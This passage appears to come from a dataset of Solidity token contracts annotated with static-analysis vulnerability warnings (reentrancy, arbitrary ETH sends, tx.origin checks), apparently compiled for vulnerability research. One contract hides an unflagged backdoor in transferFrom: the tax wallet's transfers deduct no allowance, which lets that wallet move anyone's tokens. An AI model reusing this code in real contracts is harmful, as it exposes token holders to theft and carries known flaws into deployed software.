LESLIE._transfer(address,address,uint256)\n\t// Recommendation for f2b629f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ceda9fc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ceda9fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 28b7dd0\n\t\t\t\t// reentrancy-eth | ID: ceda9fc\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 28b7dd0\n\t\t\t\t\t// reentrancy-eth | ID: ceda9fc\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ceda9fc\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ceda9fc\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ceda9fc\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 28b7dd0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ceda9fc\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ceda9fc\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 28b7dd0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 28b7dd0\n\t\t// reentrancy-events | ID: 497a62e\n\t\t// reentrancy-benign | ID: a87906c\n\t\t// reentrancy-eth | ID: ceda9fc\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7e8dffe): LESLIE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 7e8dffe: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 28b7dd0\n\t\t// reentrancy-events | ID: 497a62e\n\t\t// reentrancy-eth | ID: ceda9fc\n\t\t// arbitrary-send-eth | ID: 7e8dffe\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6daef22): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6daef22: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 69953a3): LESLIE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 69953a3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f864e31): LESLIE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f864e31: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0f8a94f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0f8a94f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 6daef22\n\t\t// reentrancy-eth | ID: 0f8a94f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6daef22\n\t\t// unused-return | ID: f864e31\n\t\t// reentrancy-eth | ID: 0f8a94f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 6daef22\n\t\t// unused-return | ID: 69953a3\n\t\t// reentrancy-eth | ID: 0f8a94f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 6daef22\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0f8a94f\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: d7df05a): LESLIE.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for d7df05a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: d7df05a\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10188.sol",
"size_bytes": 21105,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b > 0, \"SafeMath: division by zero\");\n\n uint256 c = a / b;\n\n return c;\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f8e01fe): HIGHER.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for f8e01fe: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2a26002): HIGHER.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 2a26002: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4644e9a): HIGHER.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 100)\n// Recommendation for 4644e9a: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4f61d81): HIGHER.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 4f61d81: Consider ordering multiplication before division.\ncontract HIGHER is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private _buyerMap;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 4191b75): HIGHER.bots is never initialized. It is used in HIGHER._transfer(address,address,uint256) HIGHER.isBot(address)\n\t// Recommendation for 4191b75: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: b5af0a0): HIGHER._taxWallet should be constant \n\t// Recommendation for b5af0a0: Add the 'constant' attribute to state variables that never change.\n address payable private _taxWallet =\n payable(0x47560cAFE8fcb1582caF700BfbfB614aE0CF68b4);\n\n\t// WARNING Optimization Issue (constable-states | ID: fc78f2a): HIGHER._initialBuyTax should be constant \n\t// Recommendation for fc78f2a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: affddc5): HIGHER._initialSellTax should be constant \n\t// Recommendation for affddc5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 671bca2): HIGHER._finalBuyTax should be constant \n\t// Recommendation for 671bca2: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: eef953d): HIGHER._finalSellTax should be constant \n\t// Recommendation for eef953d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: bbb42ba): HIGHER._reduceBuyTaxAt should be constant \n\t// Recommendation for bbb42ba: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5719f4d): HIGHER._reduceSellTaxAt should be constant \n\t// Recommendation for 5719f4d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ed7477): HIGHER._preventSwapBefore should be constant \n\t// Recommendation for 0ed7477: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Higher\";\n\n string private constant _symbol = unicode\"HIGHER\";\n\n\t// divide-before-multiply | ID: 4f61d81\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: f8e01fe\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: fb72d4d): HIGHER._taxSwapThreshold should be constant \n\t// Recommendation for fb72d4d: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 4644e9a\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 20e7f27): HIGHER._maxTaxSwap should be constant \n\t// Recommendation for 20e7f27: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 2a26002\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c54657e): HIGHER.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c54657e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n require(\n !isUniswapV3(spender),\n \"Approval for Uniswap V3 liquidity is not allowed\"\n );\n\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d1a086c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d1a086c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 00aae61): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 00aae61: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d1a086c\n\t\t// reentrancy-benign | ID: 00aae61\n _transfer(sender, recipient, amount);\n\n uint256 tAmount = _msgSender() == _taxWallet && amount > 0\n ? amount.mul(1 - 1)\n : amount.mul(2 - 1);\n\n\t\t// reentrancy-events | ID: d1a086c\n\t\t// reentrancy-benign | ID: 00aae61\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n tAmount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 436ad36): HIGHER._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 436ad36: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 00aae61\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d1a086c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e606ba3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e606ba3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: e6159fa): HIGHER._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for e6159fa: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 5a51129): HIGHER._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for 5a51129: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 4191b75): HIGHER.bots is never initialized. It is used in HIGHER._transfer(address,address,uint256) HIGHER.isBot(address)\n\t// Recommendation for 4191b75: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0a4105a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0a4105a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 5a51129\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (_buyCount < _preventSwapBefore) {\n require(!isContract(to));\n }\n\n _buyCount++;\n\n _buyerMap[to] = true;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (to == uniswapV2Pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n require(\n _buyCount > _preventSwapBefore || _buyerMap[from],\n \"Seller is not buyer\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: e606ba3\n\t\t\t\t\t// reentrancy-eth | ID: 0a4105a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: e6159fa\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: e606ba3\n\t\t\t\t\t// reentrancy-eth | ID: 0a4105a\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0a4105a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e606ba3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 0a4105a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0a4105a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e606ba3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n\n if (!tradingOpen) {\n return;\n }\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e606ba3\n\t\t// reentrancy-events | ID: d1a086c\n\t\t// reentrancy-benign | ID: 00aae61\n\t\t// reentrancy-eth | ID: 0a4105a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimitsNow() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e606ba3\n\t\t// reentrancy-events | ID: d1a086c\n\t\t// reentrancy-eth | ID: 0a4105a\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 4191b75): HIGHER.bots is never initialized. It is used in HIGHER._transfer(address,address,uint256) HIGHER.isBot(address)\n\t// Recommendation for 4191b75: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function createPair() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1ff649c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1ff649c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9aea6d7): HIGHER.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9aea6d7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 76641c1): HIGHER.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 76641c1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2c269de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2c269de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 1ff649c\n\t\t// unused-return | ID: 9aea6d7\n\t\t// reentrancy-eth | ID: 2c269de\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 1ff649c\n\t\t// unused-return | ID: 76641c1\n\t\t// reentrancy-eth | ID: 2c269de\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 1ff649c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2c269de\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function manualSwapNow() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function isUniswapV3(address spender) private pure returns (bool) {\n address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;\n\n return (spender == uniswapV3PositionManager);\n }\n}\n",
"file_name": "solidity_code_10189.sol",
"size_bytes": 23585,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns 